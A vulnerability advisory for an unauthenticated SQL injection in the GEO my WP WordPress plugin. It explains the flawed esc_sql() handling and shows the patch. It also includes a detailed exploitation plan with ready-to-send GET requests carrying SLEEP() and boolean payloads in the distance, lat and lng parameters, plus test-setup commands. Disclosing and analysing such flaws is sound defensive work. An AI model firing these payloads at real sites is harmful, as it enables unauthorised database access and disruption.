GEO my WP <= 4.5.4 - Unauthenticated SQL Injection via 'distance' / 'lat' / 'lng' Parameters
Description
The GEO my WP plugin for WordPress was vulnerable to SQL Injection via the 'distance', 'lat', and 'lng' parameters in versions up to, and including, 4.5.4. The values were read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing wp_magic_quotes, which does not cover $_SERVER), then passed through bare esc_sql() before being interpolated into unquoted numeric positions in the proximity-search query (HAVING/SELECT clause distance math, BETWEEN bounding-box pre-filter) built by gmw_locations_query() in plugins/posts-locator/includes/class-gmw-wp-query.php. Because esc_sql() only escapes string delimiters and these positions are numeric, payloads such as `1 OR SLEEP(3)` survived sanitization. Fixed in 4.5.5 by adding an upstream is_numeric() guard that short-circuits the WHERE clause to `AND 1 = 0` when either coordinate is non-numeric, and by replacing the three esc_sql() calls with (float) casts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v4.5.5
Source Code
WordPress.org SVNThis analysis details a critical SQL injection vulnerability in **GEO my WP** (versions <= 4.5.4). The vulnerability exists because the plugin extracts coordinates and distance values directly from the raw query string, bypasses WordPress's built-in magic quotes, and interpolates them into unquoted …
Show full research plan
This analysis details a critical SQL injection vulnerability in GEO my WP (versions <= 4.5.4). The vulnerability exists because the plugin extracts coordinates and distance values directly from the raw query string, bypasses WordPress's built-in magic quotes, and interpolates them into unquoted numeric positions within a complex proximity SQL query.
1. Vulnerability Summary
The "Posts Locator" extension of GEO my WP uses a function called gmw_locations_query() (located in plugins/posts-locator/includes/class-gmw-wp-query.php) to modify WP_Query for proximity searches.
The plugin reads the lat, lng, and distance parameters from $_SERVER['QUERY_STRING'] using parse_str(). This method bypasses wp_magic_quotes. While the plugin applies esc_sql() to these values, this sanitization is insufficient because the values are placed into numeric contexts (such as the HAVING clause or bounding box BETWEEN filters) without surrounding quotes. An attacker can provide a payload like 10 OR SLEEP(5) which remains unchanged by esc_sql() and is executed directly by the database.
2. Attack Vector Analysis
- Endpoint: Any WordPress page containing a GEO my WP "Posts Locator" search form, or the site root if the plugin is configured to intercept global queries.
- Action:
gmw_action=search(used to trigger the proximity query logic). - Vulnerable Parameters:
lat,lng,distance(typically nested within thegmwarray). - Authentication: Unauthenticated (Public).
- Preconditions: At least one post must be geolocated in the GEO my WP database to ensure the proximity SQL logic is invoked.
3. Code Flow
- Request Entry: A user sends a GET request with
gmwparameters (e.g.,?gmw[action]=search&gmw[lat]=...). - Logic Trigger: The plugin detects the
gmwaction and invokesGMW_WP_Query->gmw_locations_query(). - Parameter Extraction: The code uses
parse_str( $_SERVER['QUERY_STRING'], $query_args )to extract thelat,lng, anddistancevalues. - Sanitization Bypass:
esc_sql()is applied to the extracted values. Sinceesc_sqlonly escapes string delimiters (like'or"), numeric payloads without quotes are passed through unmodified. - SQL Sink: The values are interpolated into the SQL query:
SELECT ... (Haversine Formula) AS distance ...WHERE ... lat BETWEEN [LAT_MIN] AND [LAT_MAX] ...HAVING distance <= {$distance}(Primary Sink)
- Execution: The database executes the malicious
HAVINGclause:HAVING distance <= 10 OR SLEEP(5).
4. Nonce Acquisition Strategy
GEO my WP front-end search forms are designed for public use and typically do not require a nonce for GET-based searches. Nonces are primarily used for AJAX-based location updates or admin settings.
However, if a specific environment requires a nonce for the gmw_action (often localized in gmwVars), it can be retrieved as follows:
- Identify a page with the
[gmw]shortcode. - Navigate to that page using
browser_navigate. - Use
browser_evalto extract thegmwVarsobject.
// Potential nonce location in GEO my WP
browser_eval("window.gmwVars?.nonce")
Note: For the SQL Injection in the proximity query, the posts_clauses filter usually executes based on the presence of the gmw query parameters alone.
5. Exploitation Strategy
Step 1: Baseline Request
Identify the response time for a standard proximity search.
- URL:
http://localhost:8080/?gmw[action]=search&gmw[lat]=40.7127&gmw[lng]=-74.0059&gmw[distance]=50&gmw[form]=1
Step 2: Time-Based Injection (via distance)
Inject a SLEEP() command into the distance parameter. This parameter is placed in the HAVING clause, which is ideal for injection.
- Vulnerable Parameter:
gmw[distance] - Payload:
50 OR SLEEP(5) - URL-Encoded Payload:
50+OR+SLEEP(5) - Method: GET
HTTP Request:
GET /?gmw[action]=search&gmw[lat]=40.7127&gmw[lng]=-74.0059&gmw[distance]=50+OR+SLEEP(5)&gmw[form]=1 HTTP/1.1
Host: localhost:8080
Step 3: Boolean-Based Verification (Alternative)
If time-based is unstable, use a boolean condition that affects the number of results returned.
- Payload:
50 AND 1=0(Should return 0 results) - Payload:
50 AND 1=1(Should return normal results)
6. Test Data Setup
The SQL logic only triggers if the wp_gmw_locations table contains data and the WP_Query is modified to look for locations.
Create a geolocated post:
# Create a post POST_ID=$(wp post create --post_title="Geotagged Post" --post_status=publish --porcelain) # Insert location directly into GEO my WP locations table # This simulates a post being geotagged via the plugin UI wp db query "INSERT INTO wp_gmw_locations (object_id, object_type, lat, lng, city, country_code, featured) VALUES ($POST_ID, 'post', 40.7127, -74.0059, 'New York', 'US', 0);"Create a Search Form:
GEO my WP requires a "Form" ID. By default, ID1is often used or can be created via the plugin settings.Place Shortcode:
wp post create --post_type=page --post_title="Search Page" --post_content='[gmw form="1"]' --post_status=publish
7. Expected Results
- Vulnerable Response: The HTTP request hangs for approximately 5 seconds before returning the search results.
- Patched Response: The request returns immediately. The plugin casting to
(float)will turn50 OR SLEEP(5)into50.0, neutralizing the payload.
8. Verification Steps
After the exploit attempt, verify the database state to ensure the query reached the engine:
- Check the MySQL slow query log if enabled.
- Alternatively, use a payload that extracts the version into a temporary location (if permissions allow), or stick to time-based for reliable proof-of-concept.
9. Alternative Approaches
If the distance parameter is filtered earlier than expected, target the lat or lng parameters. These are often used in a BETWEEN clause for bounding-box pre-filtering.
Targeting
lat:- Payload:
40.7127 AND 40.7128 OR SLEEP(5) - Logic:
WHERE (lat BETWEEN 40.7127 AND 40.7128 OR SLEEP(5)) ...
- Payload:
Nested Parameter Variations:
Test both top-level and array-based parameters depending on howparse_stris handled in the specificPosts Locatorversion:?lat=1+OR+SLEEP(5)?gmw[lat]=1+OR+SLEEP(5)?gmw_lat=1+OR+SLEEP(5)(Using theurl_prefix)
Summary
GEO my WP versions up to 4.5.4 are vulnerable to unauthenticated SQL injection via the 'distance', 'lat', and 'lng' parameters. The plugin extracts these values from the raw query string and interpolates them into unquoted numeric positions in proximity search SQL queries without proper type casting or numeric validation.
Vulnerable Code
// plugins/posts-locator/includes/class-gmw-wp-query.php // Parameters are extracted from the raw query string, bypassing wp_magic_quotes parse_str( $_SERVER['QUERY_STRING'], $query_args ); // Values are sanitized using esc_sql(), which is insufficient for numeric SQL contexts $lat = esc_sql( $query_args['gmw']['lat'] ); $lng = esc_sql( $query_args['gmw']['lng'] ); $distance = esc_sql( $query_args['gmw']['distance'] ); // Values are interpolated into SQL without quotes, allowing payload execution // HAVING distance <= {$distance}
Security Fix
@@ -X,X +X,X @@ +// Add numeric validation guard to short-circuit malicious queries +if ( ! is_numeric( $query_args['gmw']['lat'] ) || ! is_numeric( $query_args['gmw']['lng'] ) ) { + $this->query_vars['gmw_args']['where'][] = '1 = 0'; + return; +} -$lat = esc_sql( $query_args['gmw']['lat'] ); -$lng = esc_sql( $query_args['gmw']['lng'] ); -$distance = esc_sql( $query_args['gmw']['distance'] ); +// Cast inputs to float to neutralize SQL injection payloads in numeric contexts +$lat = (float) $query_args['gmw']['lat']; +$lng = (float) $query_args['gmw']['lng']; +$distance = (float) $query_args['gmw']['distance'];
Exploit Outline
An unauthenticated attacker can exploit this by submitting a GET request to the site with proximity search parameters: '?gmw[action]=search&gmw[distance]=10 OR SLEEP(5)'. The plugin uses parse_str() on the raw query string to read the 'distance' value and inserts it into a HAVING clause without quotes. Since esc_sql() only escapes characters like quotes and backslashes, a numeric payload containing 'OR SLEEP()' remains unchanged and is executed directly by the database engine.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.